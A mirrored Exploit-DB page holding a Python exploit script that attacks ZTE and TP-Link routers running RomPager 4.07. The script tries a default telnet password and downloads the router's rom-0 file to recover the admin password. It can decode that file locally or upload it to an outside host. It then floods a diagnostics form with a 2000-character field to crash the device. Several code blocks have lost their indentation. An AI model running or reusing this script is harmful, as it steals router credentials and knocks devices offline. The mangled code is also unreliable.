ZTE / TP-Link RomPager – Denial of Service

  • 作者: Osanda Malith Jayathissa
    日期: 2014-06-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33737/
  • #!/usr/bin/env python
    # -*- coding: utf-8 -*- 
    
    # Exploit Title: ZTE and TP-Link RomPager DoS Exploit
    # Date: 10-05-2014
    # Server Version: RomPager/4.07 UPnP/1.0
    # Tested Routers: 	ZTE ZXV10 W300
    #					TP-Link TD-W8901G
    #					TP-Link TD-W8101G
    #					TP-Link TD-8840G
    # Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
    # Tested on: Kali Linux x86
    #
    # Notes:	Please note this exploit may contain errors, and
    #			is provided "as it is". There is no guarantee
    #			that it will work on your target router(s), as
    #			the code may have to be adapted. 
    #			This is to avoid script kiddie abuse as well.
    #
    # Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
    #			Author takes no responsibility for any kind of damage you cause.
    #
    # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
    #
    # Original write-up: https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
    # Video: https://www.youtube.com/watch?v=1fSECo2ewoo
    # Dedicate to Nick Knight and Hood3dRob1n
    #
    # ./dos.py -i 192.168.1.1
    
    import os
    import re
    import sys
    import time
    import urllib
    import base64
    import httplib
    import urllib2
    import requests
    import optparse
    import telnetlib
    import subprocess
    import collections
    import unicodedata
     
    class BitReader:
    	
    def __init__(self, bytes):
    self._bits = collections.deque()
    
    for byte in bytes:
    byte = ord(byte)
    for n in xrange(8):
    self._bits.append(bool((byte >> (7-n)) & 1))
    
    def getBit(self):
    return self._bits.popleft()
    
    def getBits(self, num):
    res = 0
    for i in xrange(num):
    res += self.getBit() << num-1-i
    return res
    
    def getByte(self):
    return self.getBits(8)
    
    def __len__(self):
    return len(self._bits)
    
    class RingList:
    	
    def __init__(self, length):
    self.__data__ = collections.deque()
    self.__full__ = False
    self.__max__ = length
     
    def append(self, x):
    if self.__full__:
    self.__data__.popleft()
    self.__data__.append(x)
    if self.size() == self.__max__:
    self.__full__ = True
     
    def get(self):
    return self.__data__
     
    def size(self):
    return len(self.__data__)
     
    def maxsize(self):
    return self.__max__
    
    def __getitem__(self, n):
    if n >= self.size():
    return None
    return self.__data__[n]
    
    def filter_non_printable(str):
    return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])
    
    
    def banner():
    	return '''
    
    \t\t_/_/_/_/_/_/ 
    \t\t _/_/_/_/_/
    \t\t_/_/_/_/_/_/ 
    \t\t _/_/_/_/_/
    \t\t_/_/_/_/_/_/_/_/ 
     
     '''
    def dos(host, password):
    	while (1):
    		url = 'http://' +host+ '/Forms/tools_test_1'
    		parameters = {
    		'Test_PVC'			:	'PVC0', 
    		'PingIPAddr'		:	'\101'*2000,
    		'pingflag'			:	'1',
    		'trace_open_flag'	:	'0',
    		'InfoDisplay'		:	'+-+Info+-%0D%0A'
    		}
    		
    		params = urllib.urlencode(parameters) 
    		
    		req = urllib2.Request(url, params) 
    		base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
    		req.add_header("Authorization", "Basic %s" %base64string)
    		req.add_header("Content-type", "application/x-www-form-urlencoded")
    		req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
    		try:
    				print '[~] Sending Payload'	
    				response = urllib2.urlopen(req, timeout=1)
    				sys.exit(0)
    			
    		except:
    			flag = checkHost(host)
    			if flag == 0:
    				print '[+] The host is still up and running'
    			else:
    				print '[~] Success! The host is down'
    				sys.exit(0)
    				break
    
    def checkHost(host):
    	if sys.platform == 'win32':
    		c = "ping -n 2 " + host
    	else:
    		c = "ping -c 2 " + host
    
    	try:
    		x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    		time.sleep(1)
    		return x
    		
    	except:
    		pass
    
    def checkServer(host):
    	connexion = httplib.HTTPConnection(host)
    	connexion.request("GET", "/status.html")
    	response = connexion.getresponse()
    	server = response.getheader("server")
    	connexion.close()
    	time.sleep(2)
    	if server == 'RomPager/4.07 UPnP/1.0':
    		return 0
    	else:
    		return 1
    
    def checkPassword(host):
    	print '[+] Checking for default password'
    	defaultpass = 'admin'
    	tn = telnetlib.Telnet(host, 23, 4)
    	tn.read_until("Password: ")
    	tn.write(defaultpass + '\n')
    	time.sleep(2)
    	banner = tn.read_eager()
    	banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
    	tn.write("exit\n")
    	tn.close()
    	time.sleep(4)
    	if banner == 'Copyright':
    		print '[+] Default password is being used'
    		dos(host, defaultpass)
    	else:
    		print '[!] Default Password is not being used'
    	while True:
    		msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
    		try:
    			if msg[0] == 'y':
    				password = decodePasswordLocal(host)
    				print '[*] Router password is: ' +password
    				dos(host, password)
    				break			
    			if msg[0] == 'n':
    				password = decodePasswordRemote(host)
    				print '[*] Router password is: ' +password
    				dos(host, password)
    				break
    			else:
    				print '[!] Enter a valid choice'
    		except Exception, e:
    				print e
    				continue
    		
    
    def decodePasswordRemote(host):
    	fname = 'rom-0'
    	if os.path.isfile(fname) == True:
    		os.remove(fname)
    	urllib.urlretrieve ("http://"+host+"/rom-0", fname)
    	# If this URL goes down you might have to find one and change this function. 
    	# You can also use the local decoder. It might have few errors in getting output.
    	url = 'http://198.61.167.113/zynos/decoded.php'# Target URL
    	files = {'uploadedfile': open('rom-0', 'rb') } # The rom-0 file we wanna upload
    	data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'}# Additional Parameters we need to include
    	headers = { 'User-agent' : 'Python Demo Agent v1' }# Any additional Headers you want to send or include
    
    	res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
    	res1 =res.content
    	p = re.search('rows=10>(.*)', res1)
    	if p:
    		passwd = found = p.group(1)
    	else:
    		password = 'NotFound'
    	return passwd
    
    def decodePasswordLocal(host):
    	# Sometimes this might output a wrong password while finding the exact string. 
    	# print the result as mentioned below and manually find out
    	fname = 'rom-0'
    	if os.path.isfile(fname) == True:
    		os.remove(fname)
    	urllib.urlretrieve ("http://"+host+"/rom-0", fname)
    	fpos=8568
    	fend=8788
    	fhandle=file('rom-0')
    	fhandle.seek(fpos)
    	chunk="*"
    	amount=221
    	while fpos < fend:
    	if fend-fpos < amount:
    	amount = amount
    	data = fhandle.read(amount)
    	fpos += len(data)
    	
    	reader = BitReader(data)
    	result = ''
    	 
    	window = RingList(2048)
    	
    	while True:
    	bit = reader.getBit()
    	if not bit:
    	char = reader.getByte()
    	result += chr(char)
    	window.append(char)
    	else:
    	bit = reader.getBit()
    	if bit:
    	offset = reader.getBits(7)
    	if offset == 0:
    	break
    	else:
    	offset = reader.getBits(11)
    	
    	lenField = reader.getBits(2)
    	if lenField < 3:
    	lenght = lenField + 2
    	else:
    	lenField <<= 2
    	lenField += reader.getBits(2)
    	if lenField < 15:
    	lenght = (lenField & 0x0f) + 5
    	else:
    	lenCounter = 0
    	lenField = reader.getBits(4)
    	while lenField == 15:
    	lenField = reader.getBits(4)
    	lenCounter += 1
    	lenght = 15*lenCounter + 8 + lenField
    	
    	for i in xrange(lenght):
    	char = window[-offset]
    	result += chr(char)
    	window.append(char)
    
    	result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
    	# In case the password you see is wrong while filtering, manually print it from here and findout. 
    	#print result 
    	if 'TP-LINK' in result:
    	result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
    	result = result.replace("TP-LINK", "")
    	result = result[1:]
    
    	if 'ZTE' in result:
    	result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
    	result = result.replace("ZTE", "")
    	result = result[1:]
    
    	if 'tc160' in result:
    	result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
    	result = result.replace("tc160", "")
    	result = result[1:]
    	return result
    	
    def regex(path, text):
    	match = re.search(path, text)
    	if match:
    		return match.group()
    	else:
    		return None
    
    def main():
    	if sys.platform == 'win32':
    		os.system('cls')
    	else:
    		os.system('clear')
    	try:
    		print banner()
    		print '''
    |=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n
    [*] Author: Osanda Malith Jayathissa
    [*] Follow @OsandaMalith
    [!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
    [!] Author takes no responsibility for any kind of damage you cause.
    
    	'''
    		parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
    		parser.add_option('-i', dest='host', 
    							type='string',	
    							help='Specify the IP to attack')
    		(options, args) = parser.parse_args()
    		
    		if options.host is None:
    			parser.print_help()
    			exit(-1)
    
    		host = options.host
    		x = checkHost(host)
    
    		if x == 0:
    			print '[+] The host is up and running'
    			server = checkServer(host)
    			if server == 0:
    				checkPassword(host)
    			else:
    				print ('[!] Sorry the router is not running RomPager')
    		else:
    			print '[!] The host is not up and running'
    			sys.exit(0)
    
    	except KeyboardInterrupt:
    		print '[!] Ctrl + C detected\n[!] Exiting'
    		sys.exit(0)
    	except EOFError:
    		print '[!] Ctrl + D detected\n[!] Exiting'
    		sys.exit(0)
    
    if __name__ == "__main__": 
    main()
    #EOF